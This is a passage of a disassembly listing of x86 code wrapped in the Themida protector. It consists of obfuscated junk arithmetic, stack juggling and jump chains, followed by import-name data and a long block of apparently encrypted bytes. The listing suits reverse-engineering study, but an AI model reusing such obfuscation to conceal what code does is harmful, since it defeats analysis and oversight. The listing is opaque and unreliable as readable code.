push dword ptr [esp+4]
jmp loc_567160
; ---------------------------------------------------------------------------
loc_57225C: ; CODE XREF: Themida_:00568281j
sub ebx, 4FC2575Bh
sub ebx, 667700E9h
push ecx
mov ecx, 0DC66F28h
inc ecx
shr ecx, 1
and ecx, 2AAF4C65h
sub ecx, 0A30FF490h
add ebx, ecx
pop ecx
push 725Eh
mov [esp], eax
mov eax, 0FB1CA3h
push ecx
mov ecx, 3F8D22EAh
add eax, ecx
pop ecx
sub ebx, eax
push dword ptr [esp]
mov eax, [esp]
jmp loc_56B36E
; ---------------------------------------------------------------------------
loc_5722A3: ; CODE XREF: Themida_:00563FEAj
push 450Bh
mov [esp], esi
jmp loc_56BD91
; ---------------------------------------------------------------------------
loc_5722B0: ; CODE XREF: Themida_:0055E3C1j
push edi
jmp loc_56D0F6
; ---------------------------------------------------------------------------
loc_5722B6: ; CODE XREF: Themida_:0056E983j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5722BB: ; CODE XREF: Themida_:00565B16j
mov edi, [esp]
add esp, 4
xor ebx, 111C38FEh
push eax
push ecx
mov ecx, 35653236h
sub ecx, 7A19133Fh
shl ecx, 6
xor ecx, 8E41C667h
mov eax, ecx
jmp loc_569380
; ---------------------------------------------------------------------------
loc_5722E7: ; CODE XREF: Themida_:00566CF7j
sub ebp, 3AF753A8h
mov edi, [esp]
add esp, 4
mov ecx, ebp
pop ebp
jmp loc_563A94
; ---------------------------------------------------------------------------
loc_5722FB: ; CODE XREF: Themida_:0056F6D6j
add ecx, eax
jmp loc_560F5C
; ---------------------------------------------------------------------------
loc_572302: ; CODE XREF: Themida_:0055F487j
mov bh, 0Bh
mov ah, bh
pop ebx
dec ah
add ah, 86h
mov bl, ah
pop eax
mov cl, bl
pop ebx
add cl, 10h
add cl, 1
sub cl, ah
sub cl, 1
sub cl, 10h
pop eax
sub bl, cl
mov ecx, [esp]
add esp, 4
jmp loc_57293C
; ---------------------------------------------------------------------------
loc_572331: ; CODE XREF: Themida_:00570C74j
pop ebp
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push ebp
mov ebp, esp
push edi
mov edi, 209619DAh
sub edi, 209619D6h
add ebp, edi
pop edi
add ebp, 4
jmp loc_570CDC
; ---------------------------------------------------------------------------
loc_572356: ; CODE XREF: Themida_:0056E440j
sub [esp+4], esi
push eax
mov eax, 31B10174h
add [esp+8], eax
pop eax
add dword ptr [esp+4], 45B04FB4h
add dword ptr [esp+4], 40214940h
mov esi, [esp]
jmp loc_56235E
; ---------------------------------------------------------------------------
loc_57237D: ; CODE XREF: Themida_:0055E0FBj
sub esp, 4
jmp loc_55E34A
; ---------------------------------------------------------------------------
loc_572388: ; CODE XREF: Themida_:0056F9C4j
pop ecx
push eax
mov eax, 2
jmp loc_570A8F
; ---------------------------------------------------------------------------
loc_572394: ; CODE XREF: Themida_:005604DCj
sub esp, 4
mov [esp], ebp
mov ebp, 4
sub edx, 380596Eh
jmp loc_55D588
; ---------------------------------------------------------------------------
loc_5723AD: ; CODE XREF: Themida_:0056DE5Cj
sub ecx, 77713F47h
pop edx
xchg ecx, [esp]
pop esp
push 1BA1h
mov [esp], ebx
push 57BDh
mov [esp], ebp
mov ebp, 1CED587Fh
mov ebx, ebp
pop ebp
sub ebx, 1
or ebx, 1E152FD4h
xor ebx, 6AEF2E06h
jmp loc_567028
; ---------------------------------------------------------------------------
loc_5723E7: ; CODE XREF: Themida_:0055EC01j
add eax, edi
sub eax, 2C1F3A90h
add eax, 42283EEFh
sub eax, 55FF2D01h
push dword ptr [esp]
jmp loc_56EFA9
; ---------------------------------------------------------------------------
loc_572400: ; CODE XREF: Themida_:0055FB8Aj
pop ebx
sub al, ch
push dword ptr [esp]
jmp loc_56F20C
; ---------------------------------------------------------------------------
loc_57240B: ; CODE XREF: Themida_:0056154Ej
mov edx, 565041AEh
jmp loc_571CF8
; ---------------------------------------------------------------------------
loc_572415: ; CODE XREF: Themida_:0056BB47j
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_561CE0
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_568E76
; ---------------------------------------------------------------------------
loc_572430: ; CODE XREF: Themida_:0056989Aj
sub si, 48F1h
neg si
jmp loc_562540
; ---------------------------------------------------------------------------
loc_57243D: ; CODE XREF: Themida_:0056BA34j
pop dword ptr [esp]
jmp loc_572531
; ---------------------------------------------------------------------------
loc_572445: ; CODE XREF: Themida_:005668B4j
mov ebp, 62F436CCh
jmp loc_56AAC9
; ---------------------------------------------------------------------------
loc_57244F: ; CODE XREF: Themida_:005600D0j
mov ebx, 573628BCh
shl ebx, 4
inc ebx
dec ebx
inc ebx
add ebx, 0F8BAB14Eh
jmp loc_56F87C
; ---------------------------------------------------------------------------
loc_572465: ; CODE XREF: Themida_:0056B130j
pop ecx
push 0
push edx
mov edx, 51380437h
push ecx
mov ecx, 32637CD0h
add [esp+8], ecx
pop ecx
sub dword ptr [esp+4], 69B55F9Ch
sub [esp+4], edx
add dword ptr [esp+4], 69B55F9Ch
sub dword ptr [esp+4], 32637CD0h
pop edx
jmp loc_560B77
; ---------------------------------------------------------------------------
loc_57249E: ; CODE XREF: Themida_:0055F81Bj
push edx
mov edx, 0F283187h
sub [esp+4], edx
mov edx, [esp]
push ebx
push esp
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add ebx, 4
sub esp, 4
mov [esp], edi
mov edi, 4
sub ebx, edi
jmp loc_569202
; ---------------------------------------------------------------------------
loc_5724D9: ; CODE XREF: Themida_:00570022j
sub esp, 2
mov [esp], dx
mov dl, 8Eh
sub bl, dl
mov dx, [esp]
add esp, 2
jmp loc_56F4E5
; ---------------------------------------------------------------------------
loc_5724F0: ; CODE XREF: Themida_:0055D36Dj
not edx
jmp loc_570459
; ---------------------------------------------------------------------------
loc_5724F7: ; CODE XREF: Themida_:00567703j
mov ecx, esp
add ecx, 4
jmp loc_56FB0B
; ---------------------------------------------------------------------------
loc_572504: ; CODE XREF: Themida_:00571760j
dec eax
sub eax, 0B0CA93A2h
mov ebp, eax
pop eax
or ebp, 27526531h
jmp loc_56A1C4
; ---------------------------------------------------------------------------
loc_572518: ; CODE XREF: Themida_:005681F8j
push ecx
mov ecx, 60045C29h
jmp loc_565DE9
; ---------------------------------------------------------------------------
loc_572523: ; CODE XREF: Themida_:00564041j
sub dl, 0FFh
sub esp, 2
jmp loc_565A00
; ---------------------------------------------------------------------------
loc_572531: ; CODE XREF: Themida_:00572440j
mov esp, [esp]
sub [esp], al
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_57253D: ; CODE XREF: Themida_:0055D43Cj
pop edx
neg edx
and edx, 2D5436EEh
add edx, 1FD5553h
shl edx, 1
add edx, 0A97D4912h
sub ecx, 68476E16h
add ecx, edx
add ecx, 68476E16h
pop edx
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
add [esp], eax
push 1E79h
jmp loc_5602A3
; ---------------------------------------------------------------------------
loc_57257A: ; CODE XREF: Themida_:00566D49j
mov edi, 60E564D2h
not edi
sub edi, 0A96491A8h
add esi, edi
mov edi, [esp]
add esp, 4
mov eax, esi
pop esi
sub dword ptr [esp+4], 222D189Fh
jmp loc_565E7C
; ---------------------------------------------------------------------------
loc_5725A2: ; CODE XREF: Themida_:00561902j
mov ah, 69h
shr ah, 5
shl ah, 2
and ah, 11h
or ah, 32h
sub ah, 42h
jmp loc_565E4E
; ---------------------------------------------------------------------------
loc_5725B8: ; CODE XREF: Themida_:005653A4j
pop ebx
jmp loc_561941
; ---------------------------------------------------------------------------
loc_5725BE: ; CODE XREF: Themida_:0055DE3Dj
mov esi, 75595320h
not esi
jmp loc_569F15
; ---------------------------------------------------------------------------
loc_5725CA: ; CODE XREF: Themida_:0056C3B1j
pop ebx
mov ebp, eax
jmp loc_55F91E
; ---------------------------------------------------------------------------
loc_5725D2: ; CODE XREF: Themida_:005683E3j
shr edi, 5
shl edi, 5
neg edi
sub edi, 0E272C29Ch
xor ebp, edi
pop edi
jmp loc_563F86
; ---------------------------------------------------------------------------
loc_5725E8: ; CODE XREF: Themida_:005611B6j
not dword ptr [esp]
mov edi, [esp]
push esi
jmp loc_56732C
; ---------------------------------------------------------------------------
loc_5725F4: ; CODE XREF: Themida_:0055F1EFj
push ebx
mov ebx, esp
add ebx, 4
push edx
jmp loc_55F03F
; ---------------------------------------------------------------------------
loc_572603: ; CODE XREF: Themida_:00563090j
and esi, 210F61E5h
jmp loc_55F11A
; ---------------------------------------------------------------------------
loc_57260E: ; CODE XREF: Themida_:0055EB46j
pop esp
jmp loc_55E163
; ---------------------------------------------------------------------------
loc_572614: ; CODE XREF: Themida_:005691D2j
dec esi
xor esi, 4A7E20A9h
xor esi, 4764491Ch
mov edx, esi
jmp loc_56ED46
; ---------------------------------------------------------------------------
loc_572628: ; CODE XREF: Themida_:00565B61j
push 6383482h
pop ecx
jmp loc_562FB3
; ---------------------------------------------------------------------------
loc_572633: ; CODE XREF: Themida_:00565610j
pop edx
and ebp, 799E4B21h
jmp loc_56C93E
; ---------------------------------------------------------------------------
loc_57263F: ; CODE XREF: Themida_:005685F6j
mov dl, 0FBh
xor dl, 0FEh
add al, dl
pop edx
sub al, 29h
sub al, 29h
push dword ptr [esp]
mov ebx, [esp]
jmp loc_571D62
; ---------------------------------------------------------------------------
loc_572656: ; CODE XREF: Themida_:0056A423j
pop esi
push edi
mov edi, 4
add esi, edi
pop edi
push 6A92h
mov [esp], eax
mov eax, 4
sub esi, eax
jmp loc_564052
; ---------------------------------------------------------------------------
loc_572674: ; CODE XREF: Themida_:00570B9Dj
add al, 88h
pop edx
add al, 51h
jmp loc_5674DC
; ---------------------------------------------------------------------------
loc_57267E: ; CODE XREF: Themida_:0056B61Aj
mov esp, [esp]
jmp loc_56833A
; ---------------------------------------------------------------------------
loc_572686: ; CODE XREF: Themida_:0056EE18j
add ebp, eax
push esi
jmp loc_56FBBD
; ---------------------------------------------------------------------------
loc_57268E: ; CODE XREF: Themida_:0056ABFFj
xor ebp, [esp]
pop esp
add al, 1Fh
jmp loc_5705D8
; ---------------------------------------------------------------------------
loc_572699: ; CODE XREF: Themida_:00569777j
mov ecx, 4F2815F0h
sub ebx, ecx
pop ecx
push edx
mov edx, 41D616D3h
jmp loc_55F1DF
; ---------------------------------------------------------------------------
loc_5726AC: ; CODE XREF: Themida_:0056C6CFj
mov [esp], ebp
sub esp, 4
mov [esp], edi
mov edi, 6D8E152Ah
xor edi, 61E66E20h
jmp loc_56728F
; ---------------------------------------------------------------------------
loc_5726C5: ; CODE XREF: Themida_:005727F1j
mov ecx, esp
jmp loc_56533B
; ---------------------------------------------------------------------------
loc_5726CC: ; CODE XREF: Themida_:005713A5j
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esp
jmp loc_563A51
; ---------------------------------------------------------------------------
loc_5726EC: ; CODE XREF: Themida_:0056CA85j
add esp, 4
push ebp
jmp loc_563B05
; ---------------------------------------------------------------------------
loc_5726F5: ; CODE XREF: Themida_:0056CA70j
mov [esp], edi
mov edi, 14293FDCh
sub esi, edi
pop edi
mov eax, [esp]
jmp loc_55F141
; ---------------------------------------------------------------------------
loc_572708: ; CODE XREF: Themida_:00563DCCj
add ebp, 0B264C717h
sub edi, 10D16526h
add edi, ebp
jmp loc_566C76
; ---------------------------------------------------------------------------
loc_57271B: ; CODE XREF: Themida_:0056A438j
pop eax
pop edx
and ecx, esi
push dword ptr [esp]
mov esi, [esp]
push eax
mov eax, esp
jmp loc_55DBE4
; ---------------------------------------------------------------------------
loc_57272D: ; CODE XREF: Themida_:0056C400j
mov edi, 11BE2C9Dh
jmp loc_56C147
; ---------------------------------------------------------------------------
loc_572737: ; CODE XREF: Themida_:00562098j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
push 3DDh
mov [esp], edx
jmp loc_569E67
; ---------------------------------------------------------------------------
loc_572758: ; CODE XREF: Themida_:00572ADCj
add ebx, edx
sub esp, 4
mov [esp], eax
jmp loc_55F3B8
; ---------------------------------------------------------------------------
loc_572768: ; CODE XREF: Themida_:00560D53j
mov ebp, [esp]
add esp, 4
jmp loc_56CE0E
; ---------------------------------------------------------------------------
loc_572773: ; CODE XREF: Themida_:0055F783j
mov ecx, esp
push 0A34h
mov [esp], ebp
mov ebp, 17874D0Dh
push 5F9Fh
mov [esp], ebp
push ebx
push dword ptr [esp+4]
jmp loc_56B1FB
; ---------------------------------------------------------------------------
loc_572794: ; CODE XREF: Themida_:00562110j
sub ebx, edx
pop edx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_56FC1F
; ---------------------------------------------------------------------------
loc_5727AC: ; CODE XREF: Themida_:005679B2j
mov ebp, [esp]
add esp, 4
add ebp, 4
push edx
mov edx, 4
add ebp, edx
jmp loc_56684B
; ---------------------------------------------------------------------------
loc_5727C5: ; CODE XREF: Themida_:00569CEAj
shr bl, 7
xor bl, 0A0h
sub bl, 86h
shr bl, 7
add bl, 0D5h
push eax
mov al, 0CBh
sub bl, al
pop eax
add al, bl
pop ebx
jmp loc_56A010
; ---------------------------------------------------------------------------
loc_5727E2: ; CODE XREF: Themida_:00570463j
add ebp, 4
xchg ebp, [esp]
jmp loc_56C7E5
; ---------------------------------------------------------------------------
loc_5727ED: ; CODE XREF: Themida_:0056265Cj
mov ebx, [esp]
push ecx
jmp loc_5726C5
; ---------------------------------------------------------------------------
loc_5727F6: ; CODE XREF: Themida_:0055DF14j
add eax, 3D192096h
shl eax, 6
jmp loc_55D30A
; ---------------------------------------------------------------------------
loc_572803: ; CODE XREF: Themida_:0055FA5Ej
push esi
jmp loc_56B15B
; ---------------------------------------------------------------------------
loc_572809: ; CODE XREF: Themida_:0056B5A4j
mov edi, 47F722DEh
jmp loc_55DB9F
; ---------------------------------------------------------------------------
loc_572813: ; CODE XREF: Themida_:00561F50j
add edx, 4
add edx, 4
jmp loc_55D867
; ---------------------------------------------------------------------------
loc_572821: ; CODE XREF: Themida_:005613CDj
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56ADB5
; ---------------------------------------------------------------------------
loc_572844: ; CODE XREF: Themida_:005649C3j
xchg ebx, [esp]
pop esp
add eax, 0BCC00B3h
add eax, esi
sub eax, 0BCC00B3h
pop esi
push ebp
push 4BF0h
mov [esp], esi
push eax
mov eax, 413D1085h
jmp loc_572A14
; ---------------------------------------------------------------------------
loc_572869: ; CODE XREF: Themida_:0056C8C1j
pop ecx
not ecx
jmp loc_56A1DF
; ---------------------------------------------------------------------------
loc_572871: ; CODE XREF: Themida_:005639BAj
shr ebx, 8
xor ebx, 6223D0Ch
jmp loc_563421
; ---------------------------------------------------------------------------
loc_57287F: ; CODE XREF: Themida_:005689DAj
xchg eax, [esp]
mov esp, [esp]
and [esp], eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_57288E: ; CODE XREF: Themida_:005686C3j
add ecx, 0D4999B43h
add esi, ecx
jmp loc_56EA1F
; ---------------------------------------------------------------------------
loc_57289B: ; CODE XREF: Themida_:005645AAj
sub edx, ebx
jmp loc_56D895
; ---------------------------------------------------------------------------
loc_5728A2: ; CODE XREF: Themida_:0056DBF8j
pop ebx
push edi
mov edi, esp
jmp loc_56507E
; ---------------------------------------------------------------------------
loc_5728AB: ; CODE XREF: Themida_:0056D298j
push edi
push esi
mov esi, 132950E0h
mov edi, esi
pop esi
add eax, edi
jmp loc_56C0C2
; ---------------------------------------------------------------------------
loc_5728BC: ; CODE XREF: Themida_:0056D9EFj
mov ecx, 65277B6h
sub edi, ecx
pop ecx
push ecx
mov ecx, 462412CEh
sub edi, 33ED22B0h
jmp loc_5676D9
; ---------------------------------------------------------------------------
loc_5728D5: ; CODE XREF: Themida_:0055F450j
xor [esp], eax
xor eax, [esp]
pop esp
add esp, 4
shr ecx, 7
push 4D08h
mov [esp], ebx
jmp loc_571F33
; ---------------------------------------------------------------------------
loc_5728EF: ; CODE XREF: Themida_:00560132j
sub edi, 6B180424h
and edi, 60927255h
push ebp
mov ebp, 3DC52CDDh
xor edi, ebp
pop ebp
push esi
jmp loc_55F60E
; ---------------------------------------------------------------------------
loc_57290A: ; CODE XREF: Themida_:0055F4E4j
add edx, 0C6DEBFB6h
sub ebx, 55327C4Eh
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_56BA9A
; ---------------------------------------------------------------------------
loc_57292D: ; CODE XREF: Themida_:005662C8j
mov bl, dh
pop edx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_56D8BC
; ---------------------------------------------------------------------------
loc_57293C: ; CODE XREF: Themida_:0057232Cj
sub bl, 0D2h
add bl, 28h
sub bl, al
sub bl, 28h
add bl, 0D2h
jmp loc_56A892
; ---------------------------------------------------------------------------
loc_57294F: ; CODE XREF: Themida_:0056DA29j
push 0DC0h
mov [esp], edx
mov edx, esp
add edx, 4
push esi
mov esi, 36E73296h
push eax
mov eax, 0A605676h
not eax
jmp loc_567525
; ---------------------------------------------------------------------------
loc_572972: ; CODE XREF: Themida_:0056B0A7j
and dh, cl
pop cx
shr dh, 7
sub dh, 2
sub bl, 0BDh
jmp loc_56898A
; ---------------------------------------------------------------------------
loc_572984: ; CODE XREF: Themida_:00569C17j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_568099
; ---------------------------------------------------------------------------
loc_572992: ; CODE XREF: Themida_:0056CC31j
add dword ptr [esp], 4
jmp loc_567A8E
; ---------------------------------------------------------------------------
loc_57299B: ; CODE XREF: Themida_:00569A51j
push ebx
mov ebx, 62E878BEh
sub edi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_55F37D
; ---------------------------------------------------------------------------
loc_5729B1: ; CODE XREF: Themida_:0056ACC9j
push ebp
mov ebp, 8167EE1h
sub ebp, 0A7BF7C44h
jmp loc_5686A6
; ---------------------------------------------------------------------------
loc_5729C2: ; CODE XREF: Themida_:00571D0Bj
pop ebp
mov esi, [esp]
add esp, 4
pop edi
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
jmp loc_55D560
; ---------------------------------------------------------------------------
loc_5729DC: ; CODE XREF: Themida_:0056F621j
not esi
sub esi, 3446190Dh
shl esi, 6
jmp loc_55E60C
; ---------------------------------------------------------------------------
loc_5729EC: ; CODE XREF: Themida_:0056E770j
add edx, 4
push edx
jmp loc_56E833
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_568BE9
; ---------------------------------------------------------------------------
loc_5729FE: ; CODE XREF: Themida_:00569E0Bj
pop edx
add ebp, ebx
pop ebx
push ebx
mov ebx, 0F1521BCh
jmp loc_572194
; ---------------------------------------------------------------------------
loc_572A0D: ; CODE XREF: Themida_:0056A259j
push esp
pop ebx
jmp loc_569038
; ---------------------------------------------------------------------------
loc_572A14: ; CODE XREF: Themida_:00572864j
xor eax, 25893294h
dec eax
neg eax
shl eax, 7
jmp loc_561FFE
; ---------------------------------------------------------------------------
loc_572A24: ; CODE XREF: Themida_:0056CF8Bj
add ebp, eax
push dword ptr [esp]
pop eax
push esi
mov esi, esp
jmp loc_56D3F1
; ---------------------------------------------------------------------------
loc_572A32: ; CODE XREF: Themida_:00567566j
mov edx, [esp]
add esp, 4
sub dword ptr [esp+4], 1B23C70h
jmp loc_561036
; ---------------------------------------------------------------------------
loc_572A45: ; CODE XREF: Themida_:0056EBA4j
add esp, 4
jmp loc_55F66B
; ---------------------------------------------------------------------------
loc_572A50: ; CODE XREF: Themida_:00562FCFj
pop ebx
sub ecx, esi
jmp loc_5651E3
; ---------------------------------------------------------------------------
loc_572A58: ; CODE XREF: Themida_:0056DB48j
push 0FEh
mov ebp, [esp]
add esp, 4
and [edi+1Ch], ebp
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ecx
push 1813h
push esp
pop dword ptr [esp]
push ecx
jmp loc_570524
; ---------------------------------------------------------------------------
loc_572A99: ; CODE XREF: Themida_:00560FB6j
sub ebx, 0B31A5E2Bh
sub edi, 41472010h
jmp loc_55F8D5
; ---------------------------------------------------------------------------
loc_572AAA: ; CODE XREF: Themida_:00566D2Aj
add edx, 37E836F3h
push dword ptr [esp]
pop ecx
add esp, 4
add edx, 2
jmp loc_55DB45
; ---------------------------------------------------------------------------
loc_572AC2: ; CODE XREF: Themida_:0056BA9Ej
mov edx, 0FE64CBDh
not edx
shr edx, 2
dec edx
add edx, 0C95A0D71h
add ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_572758
; ---------------------------------------------------------------------------
loc_572AE1: ; CODE XREF: Themida_:0056C580j
and al, 0F3h
xor al, 0BBh
mov bl, al
mov eax, [esp]
jmp loc_56B135
; ---------------------------------------------------------------------------
loc_572AEF: ; CODE XREF: Themida_:00571108j
push ebp
jmp loc_570E0A
; ---------------------------------------------------------------------------
loc_572AF5: ; CODE XREF: Themida_:0056C80Aj
push edx
mov edx, esp
jmp loc_567B27
; ---------------------------------------------------------------------------
loc_572AFD: ; CODE XREF: Themida_:00572241j
pop eax
add eax, 4
jmp loc_56549F
; ---------------------------------------------------------------------------
loc_572B08: ; CODE XREF: Themida_:00560FA2j
pop esp
sub ebx, eax
push edx
mov edx, 3DD55131h
sub ebx, edx
jmp loc_5702A3
; ---------------------------------------------------------------------------
loc_572B18: ; CODE XREF: Themida_:00562AAFj
pop edx
push cx
mov ch, 0D0h
sub al, ch
pop cx
add bl, al
pop eax
push eax
mov ah, 0C5h
and ah, 0ADh
jmp loc_56CE15
; ---------------------------------------------------------------------------
loc_572B2F: ; CODE XREF: Themida_:005702CDj
add esp, 4
push ax
push ebx
mov bl, 32h
push edx
jmp loc_560137
; ---------------------------------------------------------------------------
loc_572B3D: ; CODE XREF: Themida_:00562DC5j
push eax
mov eax, esp
jmp loc_56118B
; ---------------------------------------------------------------------------
loc_572B45: ; CODE XREF: Themida_:0055FE92j
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
sub esp, 4
jmp loc_562DE0
; ---------------------------------------------------------------------------
loc_572B54: ; CODE XREF: Themida_:0055071Aj
jmp loc_572BAF
; ---------------------------------------------------------------------------
db 0D9h, 0B4h, 0FDh
dd 45535507h, 2E323352h, 6C6C64h, 41564441h, 32334950h
dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch, 3000907h
dd 2000C00h, 20000300h, 35A00h, 7 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_572BAF: ; CODE XREF: Themida_:loc_572B54j
jmp loc_5734A4
; ---------------------------------------------------------------------------
push 616A0B1h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 616A134h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 616A26Fh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 616A3B6h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 616A424h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 616A53Ch
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 616A5B9h
jmp loc_5509FF
; ---------------------------------------------------------------------------
dw 0AF2Dh
dd 0F2E1BE10h, 369C79CBh, 7F563385h, 0CC0BE83Ah, 52669FF1h
dd 0F244795Eh, 0ABFDBC15h, 63B50ACEh, 196B5086h, 997F850Dh
dd 0AD580887h, 0E2552CB2h, 0AE0DC9EBh, 9553AA02h, 0FDE41392h
dd 63D170D1h, 226D73BBh, 0F057E502h, 441127C8h, 257D2992h
dd 1FD7B2F6h, 0D13F91BFh, 0B8DFE52Dh, 4E37D350h, 0BD556471h
dd 32970511h, 0CDD31BA0h, 37F430E7h, 0F33BD3FBh, 0E76BF8EDh
dd 844D2A3Dh, 99318935h, 69528451h, 1F9C3A17h, 0A50EA441h
dd 23311B58h, 765h, 54A619C3h, 0F615C77h, 0C91BA032h, 7ED0E9ECh
dd 358736A1h, 0E3F4BCFCh, 26AB88DAh, 74644193h, 0BA1CF94Bh
dd 1BA3AF01h, 8882F15h, 0E1484358h, 4BF7C412h, 0E52DD13Fh
dd 0E831171Dh, 1D4551F1h, 82E2E8EEh, 8A57E686h, 993D48A3h
dd 0C8604040h, 9A25B380h, 6E4D8552h, 86522F3Fh, 0CF5F127Ah
dd 0C1595CCBh, 3DCE0815h, 8A45137h, 0E63D6558h, 0DD128131h
dd 5735CD6Ch, 3EA58798h, 0E243513Bh, 46000006h, 0FAD72996h
dd 0B592E4D9h, 6F4C9E1Dh, 24015366h, 7FB80AB3h, 5D607739h
dd 16A32E0Bh, 0CEF1E7C4h, 84379F7Ch, 989E2632h, 580888B2h
dd 1264CBC6h, 3E4BF7C4h, 13DB2398h, 0E85F454Bh, 4B7351F1h
dd 0F1E7DFC5h, 0C216F351h, 0CC3665FDh, 0F8A417BFh, 25D1ECEBh
dd 6C4D0DF1h, 0AF420014h, 1AC6F3E2h, 3E2793C2h, 0C0FEEDEEh
dd 53h, 0F7C412D7h, 4017ECA5h, 45E03907h, 1F86DDA9h, 0C397F4C8h
dd 0C2A4E817h, 4C51F209h, 39FFB875h, 2E5DDAC3h, 0B608B323h
dd 0C20F6CDAh, 5BF34BF7h, 7E3B0D13h, 0FF2757E5h, 0D1EEEAB7h
dd 70D0A77Fh, 1F9A3B1Eh, 84EA2CC8h, 318E4A55h, 6237785h
dd 12CE0000h, 434BF7C4h, 0B4605D76h, 0B5232D5Ch, 0A8BBC109h
dd 9457E510h, 0FFAB0EC7h, 0CCF478A7h, 2C10AD84h, 9F48D4D1h
dd 81D98538h, 0CDAABAE9h, 9D6AB209h, 0D2DA8635h, 5FFE6CCh
dd 3AD2FA58h, 0B11FFB0Bh, 7445905Dh, 4EA70C8h, 18580600h
dd 8B2EA3F0h, 2AA5ABF3h, 585DFAA0h, 0BD1BE830h, 5D3B002h
dd 2F060EBAh, 0C26762FEh, 283362CBh, 0CA2F0DAEh, 1D3890FCh
dd 5A72533h, 5B810000h, 9E351264h, 0E2F0CD1Fh, 2BAA87D9h
dd 785F3C8Eh, 0FEBAF345h, 469825B2h, 0FF516869h, 0B709B622h
dd 6DBFFCDAh, 0EDD3D961h, 1580889h, 0C4129F06h, 983E4BF7h
dd 6B6A7723h, 949AA24Eh, 51F1E7AEh, 864D9AC2h, 587E8B37h
dd 0AD5FB763h, 50A80949h, 0AEAD1E3Ch, 1251F1E9h, 0EDF00264h
dd 0FED4FEFEh, 1715FFFFh, 832F8C4Ah, 0E78F757Bh, 7BA351F1h
dd 2DA9B4E3h, 15C1F8D9h, 6D7925BDh, 3F074FFFh, 0F1E85339h
dd 4D8A6751h, 0A3A9D870h, 0E53B3A9Dh, 666B4857h, 0B74FA753h
dd 731B8965h, 4F66252Bh, 0C39A5DF9h, 0CEB9C928h, 0B73B6AF1h
dd 0BA9DE38Fh, 0C75E19F6h, 77EEE5A5h, 0E7F2C5DEh, 0A8A2710h
dd 6F9AF1CEh, 0F65C8BB5h, 181h, 6B521EEh, 0ECD3025Ah, 63D170D1h
dd 573D430Bh, 6B51F1E8h, 0E7D7BD43h, 746451F1h, 0C55D854Bh
dd 2294A67Dh, 0B5615C77h, 0C599065Dh, 0FE040A39h, 57E523B3h
dd 0BDA3A981h, 0D1580623h, 144337EAh, 6B034CE3h, 3DE32D3h
dd 6B91BFB0h, 30951FDh, 37D3E0DCh, 929E4A72h, 2E347C24h
dd 3DE7FC39h, 2EFB436Bh, 457A5EA8h, 587E5BADh, 7E7E8563h
dd 937D58A4h, 46085h, 0AB14C800h, 66577C59h, 209B3714h
dd 0D5E4F1CEh, 8C31A683h, 0F9B7013Ah, 0B08DDFDEh, 69469821h
dd 21FE506Fh, 0A8B406B5h, 8B341A20h, 4D485808h, 8C4A17E6h
dd 88F6002Fh, 0C2C890D8h, 51F1E7DCh, 9399C8F0h, 0E2D7FECBh
dd 87E76FB3h, 72F57E6h, 0D9E6F2BFh, 912EAA87h, 0FEFED8E5h
dd 95B73F2Ah, 95730B49h, 3EA56B78h, 0F29FAD97h, 36000003h
dd 0EAC719A6h, 0A582D4E9h, 5F3C8E2Dh, 14F14376h, 6FA8FAC3h
dd 4D706749h, 6B31EFBh, 0BE01D7B4h, 74478F6Ch, 888E1622h
dd 58088BA2h, 1254BBB6h, 0E2AFF7C4h, 2E98C7F4h, 5A06B521h
dd 88348B4Dh, 24AD5D7Bh, 0DB51FD95h, 7ED6DB77h, 2E8EEB6h
dd 8551F1E8h, 0FD25F1CCh, 254D13E2h, 15E6A4F6h, 51F2AB16h
dd 2E9ACC7Ah, 1366FEEDh, 7DFFFFFDh, 32874A17h, 0DDDEF803h
dd 52B72531h, 79903C81h, 890999E8h, 0F78F27B2h, 0B81AE7AFh
dd 0D0FF5703h, 0E56A9D8Ch, 398BB357h, 0CC79D180h, 9D6AB25Eh
dd 7ED68239h, 0B481494Fh, 0D1E8E91Fh, 8935CD25h, 0B6625B7Ch
dd 5397C65Eh, 57E50208h, 0B90DAED6h, 0FFFA95ADh, 1D650977h
dd 10A6F017h, 363C0406h, 6318750h, 6D508764h, 0FA22A6D5h
dd 0FEE4EAB2h, 12063186h, 4551BBEAh, 0D9DF27D7h, 0C24C1E4h
dd 0D9A6EE16h, 9F76BEFDh, 3B581689h, 1F050B1Ch, 330C45C3h
dd 3444730Bh, 5E3C7F57h, 8A67B7B9h, 0DA72806Ah, 4E000002h
